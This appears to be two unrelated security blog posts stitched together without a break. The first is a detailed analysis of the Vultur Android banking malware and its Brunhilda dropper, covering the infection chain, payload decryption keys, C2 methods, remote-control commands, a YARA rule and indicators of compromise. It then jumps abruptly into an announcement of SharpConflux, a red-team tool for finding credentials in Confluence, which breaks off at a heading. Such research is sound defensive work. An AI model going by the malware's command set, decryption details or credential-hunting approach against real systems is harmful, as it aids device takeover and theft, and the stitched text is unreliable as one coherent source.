    • Download, upload, delete, install, and find files;
    • Control the infected device using Android Accessibility Services (sending commands to perform scrolls, swipe gestures, clicks, mute/unmute audio, and more);
    • Prevent apps from running;
    • Display a custom notification in the status bar;
    • Disable Keyguard in order to bypass lock screen security measures.
  • While the new features are mostly related to remotely interact with the victim’s device in a more flexible way, Vultur still contains the remote access functionality using AlphaVNC and ngrok that it had back in 2021.
  • Vultur has improved upon its anti-analysis and detection evasion techniques by:
    • Modifying legitimate apps (use of McAfee Security and Android Accessibility Suite package name);
    • Using native code in order to decrypt payloads;
    • Spreading malicious code over multiple payloads;
    • Using AES encryption and Base64 encoding for its C2 communication.

Introduction

Vultur is one of the first Android banking malware families to include screen recording capabilities. It contains features such as keylogging and interacting with the victim’s device screen. Vultur mainly targets banking apps for keylogging and remote control. Vultur was first discovered by ThreatFabric in late March 2021. Back then, Vultur (ab)used the legitimate software products AlphaVNC and ngrok for remote access to the VNC server running on the victim’s device. Vultur was distributed through a dropper-framework called Brunhilda, responsible for hosting malicious applications on the Google Play Store [1]. The initial blog on Vultur uncovered that there is a notable connection between these two malware families, as they are both developed by the same threat actors [2].

In a recent campaign, the Brunhilda dropper is spread in a hybrid attack using both SMS and a phone call. The first SMS message guides the victim to a phone call. When the victim calls the number, the fraudster provides the victim with a second SMS that includes the link to the dropper: a modified version of the McAfee Security app.

The dropper deploys an updated version of Vultur banking malware through 3 payloads, where the final 2 Vultur payloads effectively work together by invoking each other’s functionality. The payloads are installed when the infected device has successfully registered with the Brunhilda Command-and-Control (C2) server. In the latest version of Vultur, the threat actors have added a total of 7 new C2 methods and 41 new Firebase Cloud Messaging (FCM) commands. Most of the added commands are related to remote access functionality using Android’s Accessibility Services, allowing the malware operator to remotely interact with the victim’s screen in a way that is more flexible compared to the use of AlphaVNC and ngrok.

In this blog we provide a comprehensive analysis of Vultur, beginning with an overview of its infection chain. We then delve into its new features, uncover its obfuscation techniques and evasion methods, and examine its execution flow. Following that, we dissect its C2 communication, discuss detection based on YARA, and draw conclusions. Let’s soar alongside Vultur’s smarter mobile malware strategies!

Infection chain

In order to deceive unsuspecting individuals into installing malware, the threat actors employ a hybrid attack using two SMS messages and a phone call. First, the victim receives an SMS message that instructs them to call a number if they did not authorise a transaction involving a large amount of money. In reality, this transaction never occurred, but it creates a false sense of urgency to trick the victim into acting quickly. A second SMS is sent during the phone call, where the victim is instructed into installing a trojanised version of the McAfee Security app from a link. This application is actually Brunhilda dropper, which looks benign to the victim as it contains functionality that the original McAfee Security app would have. As illustrated below, this dropper decrypts and executes a total of 3 Vultur-related payloads, giving the threat actors total control over the victim’s mobile device.

Figure 1: Visualisation of the complete infection chain. Note: communication with the C2 server occurs during every malware stage.

New features in Vultur

The latest updates to Vultur bring some interesting changes worth discussing. The most intriguing addition is the malware’s ability to remotely interact with the infected device through the use of Android’s Accessibility Services. The malware operator can now send commands in order to perform clicks, scrolls, swipe gestures, and more. Firebase Cloud Messaging (FCM), a messaging service provided by Google, is used for sending messages from the C2 server to the infected device. The message sent by the malware operator through FCM can contain a command, which, upon receipt, triggers the execution of corresponding functionality within the malware. This eliminates the need for an ongoing connection with the device, as can be seen from the code snippet below.

Figure 2: Decompiled code snippet showing Vultur’s ability to perform clicks and scrolls using Accessibility Services. Note for this (and upcoming) screenshot(s): some variables, classes and method names were renamed by the analyst. Pink strings indicate that they were decrypted.

While Vultur can still maintain an ongoing remote connection with the device through the use of AlphaVNC and ngrok, the new Accessibility Services related FCM commands provide the actor with more flexibility.

In addition to its more advanced remote control capabilities, Vultur introduced file manager functionality in the latest version. The file manager feature includes the ability to download, upload, delete, install, and find files. This effectively grants the actor(s) with even more control over the infected device.

Figure 3: Decompiled code snippet showing part of the file manager related functionality.

Another interesting new feature is the ability to block the victim from interacting with apps on the device. Regarding this functionality, the malware operator can specify a list of apps to press back on when detected as running on the device. The actor can include custom HTML code as a “template” for blocked apps. The list of apps to block and the corresponding HTML code to be displayed is retrieved through the vnc.blocked.packages C2 method. This is then stored in the app’s SharedPreferences. If available, the HTML code related to the blocked app will be displayed in a WebView after it presses back. If no HTML code is set for the app to block, it shows a default “Temporarily Unavailable” message after pressing back. For this feature, payload #3 interacts with code defined in payload #2.

Figure 4: Decompiled code snippet showing part of Vultur’s implementation for blocking apps.

The use of Android’s Accessibility Services to perform RAT related functionality (such as pressing back, performing clicks and swipe gestures) is something that is not new in Android malware. In fact, it is present in most Android bankers today. The latest features in Vultur show that its actors are catching up with this trend, and are even including functionality that is less common in Android RATs and bankers, such as controlling the device volume.

A full list of Vultur’s updated and new C2 methods / FCM commands can be found in the “C2 Communication” section of this blog.

Obfuscation techniques and detection evasion

Like a crafty bird camouflaging its nest, Vultur now employs a set of new obfuscation and detection evasion techniques when compared to its previous versions. Let’s look into some of the notable updates that set apart the latest variant from older editions of Vultur.

AES encrypted and Base64 encoded HTTPS traffic

In October 2022, ThreatFabric mentioned that Brunhilda started using string obfuscation using AES with a varying key in the malware samples themselves [3]. At this point in time, both Brunhilda and Vultur did not encrypt its HTTP requests. That has changed now, however, with the malware developer’s adoption of AES encryption and Base64 encoding requests in the latest variants.

Figure 5: Example AES encrypted and Base64 encoded request for bot registration.

By encrypting its communications, malware can evade detection of security solutions that rely on inspecting network traffic for known patterns of malicious activity. The decrypted content of the request can be seen below. Note that the list of installed apps is shown as Base64 encoded text, as this list is encoded before encryption.

{"id":"6500","method":"application.register","params":{"package":"com.wsandroid.suite","device":"Android/10","model":"samsung GT-I900","country":"sv-SE","apps":"cHQubm92b2JhbmNvLm5iYXBwO3B0LnNhbnRhbmRlcnRvdHRhLm1vYmlsZXBhcnRpY3VsYXJlcztzYS5hbHJhamhpYmFuay50YWh3ZWVsYXBwO3NhLmNvbS5zZS5hbGthaHJhYmE7c2EuY29tLnN0Y3BheTtzYW1zdW5nLnNldHRpbmdzLnBhc3M7c2Ftc3VuZy5zZXR0aW5ncy5waW47c29mdGF4LnBla2FvLnBvd2VycGF5O3RzYi5tb2JpbGViYW5raW5nO3VrLmNvLmhzYmMuaHNiY3VrbW9iaWxlYmFua2luZzt1ay5jby5tYm5hLmNhcmRzZXJ2aWNlcy5hbmRyb2lkO3VrLmNvLm1ldHJvYmFua29ubGluZS5tb2JpbGUuYW5kcm9pZC5wcm9kdWN0aW9uO3VrLmNvLnNhbnRhbmRlci5zYW50YW5kZXJVSzt1ay5jby50ZXNjb21vYmlsZS5hbmRyb2lkO3VrLmNvLnRzYi5uZXdtb2JpbGViYW5rO3VzLnpvb20udmlkZW9tZWV0aW5nczt3aXQuYW5kcm9pZC5iY3BCYW5raW5nQXBwLm1pbGxlbm5pdW07d2l0LmFuZHJvaWQuYmNwQmFua2luZ0FwcC5taWxsZW5uaXVtUEw7d3d3LmluZ2RpcmVjdC5uYXRpdmVmcmFtZTtzZS5zd2VkYmFuay5tb2JpbA==","tag":"dropper2"}

Utilisation of legitimate package names

The dropper is a modified version of the legitimate McAfee Security app. In order to masquerade malicious actions, it contains functionality that the official McAfee Security app would have. This has proven to be effective for the threat actors, as the dropper currently has a very low detection rate when analysed on VirusTotal.

Figure 6: Brunhilda dropper’s detection rate on VirusTotal.

Next to modding the legitimate McAfee Security app, Vultur uses the official Android Accessibility Suite package name for its Accessibility Service. This will be further discussed in the execution flow section of this blog.

Figure 7: Snippet of Vultur’s AndroidManifest.xml file, where its Accessibility Service is defined with the Android Accessibility Suite package name.

Leveraging native code for payload decryption

Native code is typically written in languages like C or C++, which are lower-level than Java or Kotlin, the most popular languages used for Android application development. This means that the code is closer to the machine language of the processor, thus requiring a deeper understanding of lower-level programming concepts. Brunhilda and Vultur have started using native code for decryption of payloads, likely in order to make the samples harder to reverse engineer.

Distributing malicious code across multiple payloads

In this blog post we show how Brunhilda drops a total of 3 Vultur-related payloads: two APK files and one DEX file. We also showcase how payload #2 and #3 can effectively work together. This fragmentation can complicate the analysis process, as multiple components must be assembled to reveal the malware’s complete functionality.

Execution flow: A three-headed… bird?

While previous versions of Brunhilda delivered Vultur through a single payload, the latest variant now drops Vultur in three layers. The Brunhilda dropper in this campaign is a modified version of the legitimate McAfee Security app, which makes it seem harmless to the victim upon execution as it includes functionality that the official McAfee Security app would have.

Figure 8: The modded version of the McAfee Security app is launched.

In the background, the infected device registers with its C2 server through the /ejr/ endpoint and the application.register method. In the related HTTP POST request, the C2 is provided with the following information:

  • Malware package name (as the dropper is a modified version of the McAfee Security app, it sends the official com.wsandroid.suite package name);
  • Android version;
  • Device model;
  • Language and country code (example: sv-SE);
  • Base64 encoded list of installed applications;
  • Tag (dropper campaign name, example: dropper2).

The server response is decrypted and stored in a SharedPreference key named 9bd25f13-c3f8-4503-ab34-4bbd63004b6e, where the value indicates whether the registration was successful or not. After successfully registering the bot with the dropper C2, the first Vultur payload is eventually decrypted and installed from an onClick() method.

Figure 9: Decryption and installion of the first Vultur payload.

In this sample, the encrypted data is hidden in a file named 78a01b34-2439-41c2-8ab7-d97f3ec158c6 that is stored within the app’s “assets” directory. When decrypted, this will reveal an APK file to be installed.

The decryption algorithm is implemented in native code, and reveals that it uses AES/ECB/PKCS5Padding to decrypt the first embedded file. The Lib.d() function grabs a substring from index 6 to 22 of the second argument (IPIjf4QWNMWkVQN21ucmNiUDZaVw==) to get the decryption key. The key used in this sample is: QWNMWkVQN21ucmNi (key varies across samples). With this information we can decrypt the 78a01b34-2439-41c2-8ab7-d97f3ec158c6 file, which brings us another APK file to examine: the first Vultur payload.

Layer 1: Vultur unveils itself

The first Vultur payload also contains the application.register method. The bot registers itself again with the C2 server as observed in the dropper sample. This time, it sends the package name of the current payload (se.accessibility.app in this example), which is not a modded application. The “tag” that was related to the dropper campaign is also removed in this second registration request. The server response contains an encrypted token for further communication with the C2 server and is stored in the SharedPreference key f9078181-3126-4ff5-906e-a38051505098.

Figure 10: Decompiled code snippet that shows the data to be sent to the C2 server during bot registration.

The main purpose of this first payload is to obtain Accessibility Service privileges and install the next Vultur APK file. Apps with Accessibility Service permissions can have full visibility over UI events, both from the system and from 3rd party apps. They can receive notifications, list UI elements, extract text, and more. While these services are meant to assist users, they can also be abused by malicious apps for activities, such as keylogging, automatically granting itself additional permissions, monitoring foreground apps and overlaying them with phishing windows.

In order to gain further control over the infected device, this payload displays custom HTML code that contains instructions to enable Accessibility Service permissions. The HTML code to be displayed in a WebView is retrieved from the installer.config C2 method, where the HTML code is stored in the SharedPreference key bbd1e64e-eba3-463c-95f3-c3bbb35b5907.

Figure 11: HTML code is loaded in a WebView, where the APP_NAME variable is replaced with the text “McAfee Master Protection”.

In addition to the HTML content, an extra warning message is displayed to further convince the victim into enabling Accessibility Service permissions for the app. This message contains the text “Your system not safe, service McAfee Master Protection turned off. For using full device protection turn it on.” When the warning is displayed, it also sets the value of the SharedPreference key 1590d3a3-1d8e-4ee9-afde-fcc174964db4 to true. This value is later checked in the onAccessibilityEvent() method and the onServiceConnected() method of the malicious app’s Accessibility Service.

ANALYST COMMENT
An important observation here, is that the malicious app is using the com.google.android.marvin.talkback package name for its Accessibility Service. This is the package name of the official Android Accessibility Suite, as can be seen from the following link: https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback.
The implementation is of course different from the official Android Accessibility Suite and contains malicious code.

When the Accessibility Service privileges have been enabled for the payload, it automatically grants itself additional permissions to install apps from unknown sources, and installs the next payload through the UpdateActivity.

Figure 12: Decryption and installation of the second Vultur payload.

The second encrypted APK is hidden in a file named data that is stored within the app’s “assets” directory. The decryption algorithm is again implemented in native code, and is the same as in the dropper. This time, it uses a different decryption key that is derived from the DXMgKBY29QYnRPR1k1STRBNTZNUw== string. The substring reveals the actual key used in this sample: Y29QYnRPR1k1STRB (key varies across samples). After decrypting, we are presented with the next layer of Vultur.

Layer 2: Vultur descends

The second Vultur APK contains more important functionality, such as AlphaVNC and ngrok setup, displaying of custom HTML code in WebViews, screen recording, and more. Just like the previous versions of Vultur, the latest edition still includes the ability to remotely access the infected device through AlphaVNC and ngrok.

This second Vultur payload also uses the com.google.android.marvin.talkback (Android Accessibility Suite) package name for the malicious Accessibility Service. From here, there are multiple references to methods invoked from another file: the final Vultur payload. This time, the payload is not decrypted from native code. In this sample, an encrypted file named a.int is decrypted using AES/CFB/NoPadding with the decryption key SBhXcwoAiLTNIyLK (stored in SharedPreference key dffa98fe-8bf6-4ed7-8d80-bb1a83c91fbb). We have observed the same decryption key being used in multiple samples for decrypting payload #3.

Figure 13: Decryption of the third Vultur payload.

Furthermore, from payload #2 onwards, Vultur uses encrypted SharedPreferences for further hiding of malicious configuration related key-value pairs.

Layer 3: Vultur strikes

The final payload is a Dalvik Executable (DEX) file. This decrypted DEX file holds Vultur’s core functionality. It contains the references to all of the C2 methods (used in communication from bot to C2 server, in order to send or retrieve information) and FCM commands (used in communication from C2 server to bot, in order to perform actions on the infected device).

An important observation here, is that code defined in payload #3 can be invoked from payload #2 and vice versa. This means that these final two files effectively work together.

Figure 14: Decompiled code snippet showing some of the FCM commands implemented in Vultur payload #3.

The last Vultur payload does not contain its own Accessibility Service, but it can interact with the Accessibility Service that is implemented in payload #2.

C2 Communication: Vultur finds its voice

When Vultur infects a device, it initiates a series of communications with its designated C2 server. Communications related to C2 methods such as application.register and vnc.blocked.packages occur using JSON-RPC 2.0 over HTTPS. These requests are sent from the infected device to the C2 server to either provide or receive information.

Actual vultures lack a voice box; their vocalisations include rasping hisses and grunts [4]. While the communication in older variants of Vultur may have sounded somewhat similar to that, you could say that the threat actors have developed a voice box for the latest version of Vultur. The content of the aforementioned requests are now AES encrypted and Base64 encoded, just like the server response.

Next to encrypted communication over HTTPS, the bot can receive commands via Firebase Cloud Messaging (FCM). FCM is a cross-platform messaging solution provided by Google. The FCM related commands are sent from the C2 server to the infected device to perform actions on it.

During our investigation of the latest Vultur variant, we identified the C2 endpoints mentioned below.

EndpointDescription
/ejr/Endpoint for C2 communication using JSON-RPC 2.0.
Note: in older versions of Vultur the /rpc/ endpoint was used for similar communication.
/upload/Endpoint for uploading files (such as screen recording results).
/version/app/?filename=ngrok arch={DEVICE_ARCH}Endpoint for downloading the relevant version of ngrok.
/version/app/?filename={FILENAME}Endpoint for downloading a file specified by the payload (related to the new file manager functionality).

C2 methods in Brunhilda dropper

The commands below are sent from the infected device to the C2 server to either provide or receive information.

MethodDescription
application.registerRegisters the bot by providing the malware package name and information about the device: model, country, installed apps, Android version. It also sends a tag that is used for identifying the dropper campaign name.
Note: this method is also used once in Vultur payload #1, but without sending a tag. This method then returns a token to be used in further communication with the C2 server.
application.stateSends a token value that was set as a response to the application.register command, together with a status code of “3”.

C2 methods in Vultur

The commands below are sent from the infected device to the C2 server to either provide or receive information.

MethodDescription
vnc.register (UPDATED)Registers the bot by providing the FCM token, malware package name and information about the device, model, country, Android version. This method has been updated in the latest version of Vultur to also include information on whether the infected device is rooted and if it is detected as an emulator.
vnc.status (UPDATED)Sends the following status information about the device: if the Accessibility Service is enabled, if the Device Admin permissions are enabled, if the screen is locked, what the VNC address is. This method has been updated in the latest version of Vultur to also send information related to: active fingerprints on the device, screen resolution, time, battery percentage, network operator, location.
vnc.appsSends the list of apps that are installed on the victim’s device.
vnc.keylogSends the keystrokes that were obtained via keylogging.
vnc.config (UPDATED)Obtains the config of the malware, such as the list of targeted applications by the keylogger and VNC. This method has been updated in the latest version of Vultur to also obtain values related to the following new keys: “packages2”, “rurl”, “recording”, “main_content”, “tvmq”.
vnc.overlayObtains the HTML code for overlay injections of a specified package name using the pkg parameter. It is still unclear whether support for overlay injections is fully implemented in Vultur.
vnc.overlay.logsSends the stolen credentials that were obtained via HTML overlay injections. It is still unclear whether support for overlay injections is fully implemented in Vultur.
vnc.pattern (NEW)Informs the C2 server whether a PIN pattern was successfully extracted and stored in the application’s Shared Preferences.
vnc.snapshot (NEW)Sends JSON data to the C2 server, which can contain:

1. Information about the accessibility event’s class, bounds, child nodes, UUID, event type, package name, text content, screen dimensions, time of the event, and if the screen is locked.
2. Recently copied text, and SharedPreferences values related to “overlay” and “keyboard”.
3. X and Y coordinates related to a click.
vnc.submit (NEW)Informs the C2 server whether the bot registration was successfully submitted or if it failed.
vnc.urls (NEW)Informs the C2 server about the URL bar related element IDs of either the Google Chrome or Firefox webbrowser (depending on which application triggered the accessibility event).
vnc.blocked.packages (NEW)Retrieves a list of “blocked packages” from the C2 server and stores them together with custom HTML code in the application’s Shared Preferences. When one of these package names is detected as running on the victim device, the malware will automatically press the back button and display custom HTML content if available. If unavailable, a default “Temporarily Unavailable” message is displayed.
vnc.fm (NEW)Sends file related information to the C2 server. File manager functionality includes downloading, uploading, installing, deleting, and finding of files.
vnc.syslogSends logs.
crash.logsSends logs of all content on the screen.
installer.config (NEW)Retrieves the HTML code that is displayed in a WebView of the first Vultur payload. This HTML code contains instructions to enable Accessibility Services permissions.

FCM commands in Vultur

The commands below are sent from the C2 server to the infected device via Firebase Cloud Messaging in order to perform actions on the infected device. The new commands use IDs instead of names that describe their functionality. These command IDs are the same in different samples.

CommandDescription
registeredReceived when the bot has been successfully registered.
startStarts the VNC connection using ngrok.
stopStops the VNC connection by killing the ngrok process and stopping the VNC service.
unlockUnlocks the screen.
deleteUninstalls the malware package.
patternProvides a gesture/stroke pattern to interact with the device’s screen.
109b0e16 (NEW)Presses the back button.
18cb31d4 (NEW)Presses the home button.
811c5170 (NEW)Shows the overview of recently opened apps.
d6f665bf (NEW)Starts an app specified by the payload.
1b05d6ee (NEW)Shows a black view.
1b05d6da (NEW)Shows a black view that is obtained from the layout resources in Vultur payload #2.
7f289af9 (NEW)Shows a WebView with HTML code loaded from SharedPreference key “946b7e8e”.
dc55afc8 (NEW)Removes the active black view / WebView that was added from previous commands (after sleeping for 15 seconds).
cbd534b9 (NEW)Removes the active black view / WebView that was added from previous commands (without sleeping).
4bacb3d6 (NEW)Deletes an app specified by the payload.
b9f92adb (NEW)Navigates to the settings of an app specified by the payload.
77b58a53 (NEW)Ensures that the device stays on by acquiring a wake lock, disables keyguard, sleeps for 0,1 second, and then swipes up to unlock the device without requiring a PIN.
ed346347 (NEW)Performs a click.
5c900684 (NEW)Scrolls forward.
d98179a8 (NEW)Scrolls backward.
7994ceca (NEW)Sets the text of a specified element ID to the payload text.
feba1943 (NEW)Swipes up.
d403ad43 (NEW)Swipes down.
4510a904 (NEW)Swipes left.
753c4fa0 (NEW)Swipes right.
b183a400 (NEW)Performs a stroke pattern on an element across a 3×3 grid.
81d9d725 (NEW)Performs a stroke pattern based on x+y coordinates and time duration.
b79c4b56 (NEW)Press-and-hold 3 times near bottom middle of the screen.
1a7493e7 (NEW)Starts capturing (recording) the screen.
6fa8a395 (NEW)Sets the “ShowMode” of the keyboard to 0. This allows the system to control when the soft keyboard is displayed.
9b22cbb1 (NEW)Sets the “ShowMode” of the keyboard to 1. This means the soft keyboard will never be displayed (until it is turned back on).
98c97da9 (NEW)Requests permissions for reading and writing external storage.
7b230a3b (NEW)Request permissions to install apps from unknown sources.
cc8397d4 (NEW)Opens the long-press power menu.
3263f7d4 (NEW)Sets a SharedPreference value for the key “c0ee5ba1-83dd-49c8-8212-4cfd79e479c0” to the specified payload. This value is later checked for in other to determine whether the long-press power menu should be displayed (SharedPref value 1), or whether the back button must be pressed (SharedPref value 2).
request_accessibility (UPDATED)Prompts the infected device with either a notification or a custom WebView that instructs the user to enable accessibility services for the malicious app. The related WebView component was not present in older versions of Vultur.
announcement (NEW)Updates the value for the C2 domain in the SharedPreferences.
5283d36d-e3aa-45ed-a6fb-2abacf43d29c (NEW)Sends a POST with the vnc.config C2 method and stores the malware config in SharedPreferences.
09defc05-701a-4aa3-bdd2-e74684a61624 (NEW)Hides / disables the keyboard, obtains a wake lock, disables keyguard (lock screen security), mutes the audio, stops the “TransparentActivity” from payload #2, and displays a black view.
fc7a0ee7-6604-495d-ba6c-f9c2b55de688 (NEW)Hides / disables the keyboard, obtains a wake lock, disables keyguard (lock screen security), mutes the audio, stops the “TransparentActivity” from payload #2, and displays a custom WebView with HTML code loaded from SharedPreference key “946b7e8e” (“tvmq” value from malware config).
8eac269d-2e7e-4f0d-b9ab-6559d401308d (NEW)Hides / disables the keyboard, obtains a wake lock, disables keyguard (lock screen security), mutes the audio, stops the “TransparentActivity” from payload #2.
e7289335-7b80-4d83-863a-5b881fd0543d (NEW)Enables the keyboard and unmutes audio. Then, sends the vnc.snapshot method with empty JSON data.
544a9f82-c267-44f8-bff5-0726068f349d (NEW)Retrieves the C2 command, payload and UUID, and executes the command in a thread.
a7bfcfaf-de77-4f88-8bc8-da634dfb1d5a (NEW)Creates a custom notification to be shown in the status bar.
444c0a8a-6041-4264-959b-1a97d6a92b86 (NEW)Retrieves the list of apps to block and corresponding HTML code through the vnc.blocked.packages C2 method and stores them in the blocked_package_template SharedPreference key.
a1f2e3c6-9cf8-4a7e-b1e0-2c5a342f92d6 (NEW)Executes a file manager related command. Commands are:

1. 91b4a535-1a78-4655-90d1-a3dcb0f6388a – Downloads a file
2. cf2f3a6e-31fc-4479-bb70-78ceeec0a9f8 – Uploads a file
3. 1ce26f13-fba4-48b6-be24-ddc683910da3 – Deletes a file
4. 952c83bd-5dfb-44f6-a034-167901990824 – Installs a file
5. 787e662d-cb6a-4e64-a76a-ccaf29b9d7ac – Finds files containing a specified pattern

Detection

Writing YARA rules to detect Android malware can be challenging, as APK files are ZIP archives. This means that extracting all of the information about the Android application would involve decompressing the ZIP, parsing the XML, and so on. Thus, most analysts build YARA rules for the DEX file. However, DEX files, such as Vultur payload #3, are less frequently submitted to VirusTotal as they are uncovered at a later stage in the infection chain. To maximise our sample pool, we decided to develop a YARA rule for the Brunhilda dropper. We discovered some unique hex patterns in the dropper APK, which allowed us to create the YARA rule below.

rule brunhilda_dropper
{
meta:
author = "Fox-IT, part of NCC Group"
description = "Detects unique hex patterns observed in Brunhilda dropper samples."
target_entity = "file"
strings:
$zip_head = "PK"
$manifest = "AndroidManifest.xml"
$hex1 = {63 59 5c 28 4b 5f}
$hex2 = {32 4a 66 48 66 76 64 6f 49 36}
$hex3 = {63 59 5c 28 4b 5f}
$hex4 = {30 34 7b 24 24 4b}
$hex5 = {22 69 4f 5a 6f 3a}
condition:
$zip_head at 0 and $manifest and #manifest >= 2 and 2 of ($hex*)
}

Wrap-up

Vultur’s recent developments have shown a shift in focus towards maximising remote control over infected devices. With the capability to issue commands for scrolling, swipe gestures, clicks, volume control, blocking apps from running, and even incorporating file manager functionality, it is clear that the primary objective is to gain total control over compromised devices.

Vultur has a strong correlation to Brunhilda, with its C2 communication and payload decryption having the same implementation in the latest variants. This indicates that both the dropper and Vultur are being developed by the same threat actors, as has also been uncovered in the past.

Furthermore, masquerading malicious activity through the modification of legitimate applications, encryption of traffic, and the distribution of functions across multiple payloads decrypted from native code, shows that the actors put more effort into evading detection and complicating analysis.

During our investigation of recently submitted Vultur samples, we observed the addition of new functionality occurring shortly after one another. This suggests ongoing and active development to enhance the malware’s capabilities. In light of these observations, we expect more functionality being added to Vultur in the near future.

Indicators of Compromise

Analysed samples

Package nameFile hash (SHA-256)Description
com.wsandroid.suiteedef007f1ca60fdf75a7d5c5ffe09f1fc3fb560153633ec18c5ddb46cc75ea21Brunhilda Dropper
com.medical.balance89625cf2caed9028b41121c4589d9e35fa7981a2381aa293d4979b36cf5c8ff2Vultur payload #1
com.medical.balance1fc81b03703d64339d1417a079720bf0480fece3d017c303d88d18c70c7aabc3Vultur payload #2
com.medical.balance4fed4a42aadea8b3e937856318f9fbd056e2f46c19a6316df0660921dd5ba6c5Vultur payload #3
com.wsandroid.suite001fd4af41df8883957c515703e9b6b08e36fde3fd1d127b283ee75a32d575fcBrunhilda Dropper
se.accessibility.appfc8c69bddd40a24d6d28fbf0c0d43a1a57067b19e6c3cc07e2664ef4879c221bVultur payload #1
se.accessibility.app7337a79d832a57531b20b09c2fc17b4257a6d4e93fcaeb961eb7c6a95b071a06Vultur payload #2
se.accessibility.app7f1a344d8141e75c69a3c5cf61197f1d4b5038053fd777a68589ecdb29168e0cVultur payload #3
com.wsandroid.suite26f9e19c2a82d2ed4d940c2ec535ff2aba8583ae3867502899a7790fe3628400Brunhilda Dropper
com.exvpn.fastvpn2a97ed20f1ae2ea5ef2b162d61279b2f9b68eba7cf27920e2a82a115fd68e31fVultur payload #1
com.exvpn.fastvpnc0f3cb3d837d39aa3abccada0b4ecdb840621a8539519c104b27e2a646d7d50dVultur payload #2
com.wsandroid.suite92af567452ecd02e48a2ebc762a318ce526ab28e192e89407cac9df3c317e78dBrunhilda Dropper
jk.powder.tendencefa6111216966a98561a2af9e4ac97db036bcd551635be5b230995faad40b7607Vultur payload #1
jk.powder.tendencedc4f24f07d99e4e34d1f50de0535f88ea52cc62bfb520452bdd730b94d6d8c0eVultur payload #2
jk.powder.tendence627529bb010b98511cfa1ad1aaa08760b158f4733e2bbccfd54050838c7b7fa3Vultur payload #3
com.wsandroid.suitef5ce27a49eaf59292f11af07851383e7d721a4d60019f3aceb8ca914259056afBrunhilda Dropper
se.talkback.app5d86c9afd1d33e4affa9ba61225aded26ecaeb01755eeb861bb4db9bbb39191cVultur payload #1
se.talkback.app5724589c46f3e469dc9f048e1e2601b8d7d1bafcc54e3d9460bc0adeeada022dVultur payload #2
se.talkback.app7f1a344d8141e75c69a3c5cf61197f1d4b5038053fd777a68589ecdb29168e0cVultur payload #3
com.wsandroid.suitefd3b36455e58ba3531e8cce0326cce782723cc5d1cc0998b775e07e6c2622160Brunhilda Dropper
com.adajio.storm819044d01e8726a47fc5970efc80ceddea0ac9bf7c1c5d08b293f0ae571369a9Vultur payload #1
com.adajio.storm0f2f8adce0f1e1971cba5851e383846b68e5504679d916d7dad10133cc965851Vultur payload #2
com.adajio.stormfb1e68ee3509993d0fe767b0372752d2fec8f5b0bf03d5c10a30b042a830ae1aVultur payload #3
com.protectionguard.appd3dc4e22611ed20d700b6dd292ffddbc595c42453f18879f2ae4693a4d4d925aBrunhilda Dropper (old variant)
com.appsmastersafeyf4d7e9ec4eda034c29b8d73d479084658858f56e67909c2ffedf9223d7ca9bd2Vultur (old variant)
com.datasafeaccountsanddata.club7ca6989ccfb0ad0571aef7b263125410a5037976f41e17ee7c022097f827bd74Vultur (old variant)
com.app.freeguarding.twofactorc646c8e6a632e23a9c2e60590f012c7b5cb40340194cb0a597161676961b4de0Vultur (old variant)

Note: Vultur payloads #1 and #2 related to Brunhilda dropper 26f9e19c2a82d2ed4d940c2ec535ff2aba8583ae3867502899a7790fe3628400 are the same as Vultur payloads #2 and #3 in the latest variants. The dropper in this case only drops two payloads, where the latest versions deploy a total of three payloads.

C2 servers

  • safetyfactor[.]online
  • cloudmiracle[.]store
  • flandria171[.]appspot[.]com (FCM)
  • newyan-1e09d[.]appspot[.]com (FCM)

Dropper distribution URLs

  • mcafee[.]960232[.]com
  • mcafee[.]353934[.]com
  • mcafee[.]908713[.]com
  • mcafee[.]784503[.]com
  • mcafee[.]053105[.]com
  • mcafee[.]092877[.]com
  • mcafee[.]582630[.]com
  • mcafee[.]581574[.]com
  • mcafee[.]582342[.]com
  • mcafee[.]593942[.]com
  • mcafee[.]930204[.]com

References

  1. https://resources.prodaft.com/brunhilda-daas-malware-report ↩︎
  2. https://www.threatfabric.com/blogs/vultur-v-for-vnc ↩︎
  3. https://www.threatfabric.com/blogs/the-attack-of-the-droppers ↩︎
  4. https://www.wildlifecenter.org/vulture-facts ↩︎

Introducing SharpConflux

Today, we are releasing a new tool called SharpConflux, a .NET application built to facilitate Confluence exploration. It allows Red Team operators to easily investigate Confluence instances with the goal of finding credential material and documentation relating to objectives without having to rely on SOCKS proxying.

SharpConflux is available for download from the GitHub repository below:

github GitHub: https://github.com/nettitude/SharpConflux/

Background

Red Team operators typically interact with the target organisation’s network via an in-memory implant supported by a Command and Control (C2) framework such as Fortra’s Cobalt Strike, MDSec’s Nighthawk or Nettitude’s PoshC2. Direct access to the corporate network through a Virtual Private Network (VPN) or graphical access to a Virtual Desktop Infrastructure (VDI) host is unusual, meaning that in order to interact with internal corporate websites, operators must tunnel traffic from their systems to the internal network, through the in-memory implant.

Multiple tooling exists for this purpose such as SharpSocks and Cobalt Strike’s built-in socks command. However, this approach presents two problems:

  • First of all, it is troublesome to setup. While a seasoned operator will be able to do so in minutes, I have yet to know a Red Teamer that enjoys the setup process and the laggy browsing experience. In fact, this tool was created as a result of a recent Red Team exercise during which, none of the operators wanted to have to setup proxying to explore an internal Confluence instance.
  • Secondly, in order to provide a stable and usable experience, it forces operators to set the implant’s beaconing time to a small value (almost always less than 100 milliseconds, and often 0 milliseconds). This significantly increases the number of HTTP requests transmitted over the existing C2 channel, creating abnormal volumes of traffic and therefore, providing detection opportunities. Additionally, this prevents certain in-memory evasion techniques from functioning as expected (e.g. Cobalt Strike’s sleep masks), thus potentially leading to a detection by the Endpoint Detection & Response (EDR) solution in place.

SharpConflux aims to bring Confluence exploration functionality to .NET, in a way that can be reliably and flexibly used through common C2 frameworks.

Confluence Introduction

Confluence is a data sharing platform developed by Atlassian, generally used by organisations as a corporate wiki.

Content is organised in spaces, which are intended to facilitate information sharing between teams (e.g. the IT department) or employees responsible for specific projects. Furthermore, users can setup their own personal spaces, to which they can upload public or private data.

Within these spaces, users can publish and edit web pages and blog posts through a web-based editor, and attach any relevant files to them. Additionally, users can add comments to pages and blog posts.

The diagram below, which has been extracted from Confluence’s support page, better illustrates the structure used by the platform:

The hierarchy of content in Confluence

From a Red Teamer’s perspective, Confluence is particularly useful in two scenarios:

  • During early stages of the operation, as all sorts of credentials can typically be found in Confluence. These may facilitate privilege escalation and lateral movement activities.
  • To discover documentation, hostnames and even credential material relating to the objective systems, which are usually targeted after achieving high levels of privileges and therefore, in late stages of the cyber kill chain.

Confluence Instance Types and Authentication

